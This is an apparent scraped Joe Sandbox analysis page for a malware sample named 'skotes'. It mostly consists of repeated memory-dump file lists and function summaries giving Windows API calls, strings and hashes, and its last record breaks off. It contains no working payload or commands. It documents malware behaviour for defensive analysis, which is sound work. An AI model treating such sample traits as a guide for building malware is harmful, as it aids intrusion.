Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: cad7bd892c337e1b972f761e26ff76a3d327c8467bc7ad44dc70cb8e9832117b
Instruction ID: 5b4592873c15e5cbe91b61fb47f8580177a6140e6d872a88e9f91676ed65e330
Opcode Fuzzy Hash: cad7bd892c337e1b972f761e26ff76a3d327c8467bc7ad44dc70cb8e9832117b
Instruction Fuzzy Hash: C2E10570E006459BDF19BB688C1B7ED7F62BB85720F94468CE416673C2DB356E908BC2

Function 005F1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005F1775: CreateFileW.KERNEL32(00000000,00000000,?,005F1B65,?,?,00000000,?,005F1B65,00000000,0000000C), ref: 005F1792

__dosmaperr.LIBCMT ref: 005F1BD7
GetFileType.KERNEL32(00000000), ref: 005F1BE3
__dosmaperr.LIBCMT ref: 005F1BF6
__dosmaperr.LIBCMT ref: 005F1D9C

Strings

H, xrefs: 005F1D21

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 955d46db70cddd9cc870b8cf40d16ea9bac698739c0d89988b08f371c153a72d
Instruction ID: f5c3522b82fbaefa77e602813a7396ae2a70418c9295767103bf2fd65be906a9
Opcode Fuzzy Hash: 955d46db70cddd9cc870b8cf40d16ea9bac698739c0d89988b08f371c153a72d
Instruction Fuzzy Hash: 3EA12532A04549CFCF19EF68C951BBE3FB1BB4A320F18419AE951AB291D7399C02C755

Function 005F26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00606758), ref: 005F275C

Strings

Eastern Standard Time, xrefs: 005F27CB
Eastern Summer Time, xrefs: 005F27FA
Xg`, xrefs: 005F2705, 005F270B

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg`
API String ID: 565725191-2576861974
Opcode ID: e06c8b1bb214d10ef438f2f2fa217257ff03a56f4037ed9478f30fff885d48d8
Instruction ID: 203f1d36f1a96d5fdb3d9f442e3b8f52dc52e054f9ad62be7000d3121674efe4
Opcode Fuzzy Hash: e06c8b1bb214d10ef438f2f2fa217257ff03a56f4037ed9478f30fff885d48d8
Instruction Fuzzy Hash: B85125B190021EABDB14AF69CC819BE7FB9FF84350F14416AF650E31A1E7789E40CB50

Function 005E6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,005E6EE6), ref: 005E6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 005E7030
__dosmaperr.LIBCMT ref: 005E70C5

Part of subcall function 005E732A: __dosmaperr.LIBCMT ref: 005E735F

Strings

n^, xrefs: 005E6FCE

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n^
API String ID: 2531987475-2476518982
Opcode ID: 78302e192d510a923fbf54e5c544e7dfd2a58b15ee635f7bb776249a5614f9dc
Instruction ID: 58dc3ac297e8bdeff8d7d5e5da381155b4edd9ce2696c1bf30b822b5f15a920e
Opcode Fuzzy Hash: 78302e192d510a923fbf54e5c544e7dfd2a58b15ee635f7bb776249a5614f9dc
Instruction Fuzzy Hash: C7414F75904389ABDB28DFB6DC459ABBBF9FF89300B10492DF996D3610E6309900DB61

Function 005B9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005B9BA8
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 9c26f7bdbc0be3d61111c88e8215e1889b06448f6eb2dd0768d25e4a3ba79592
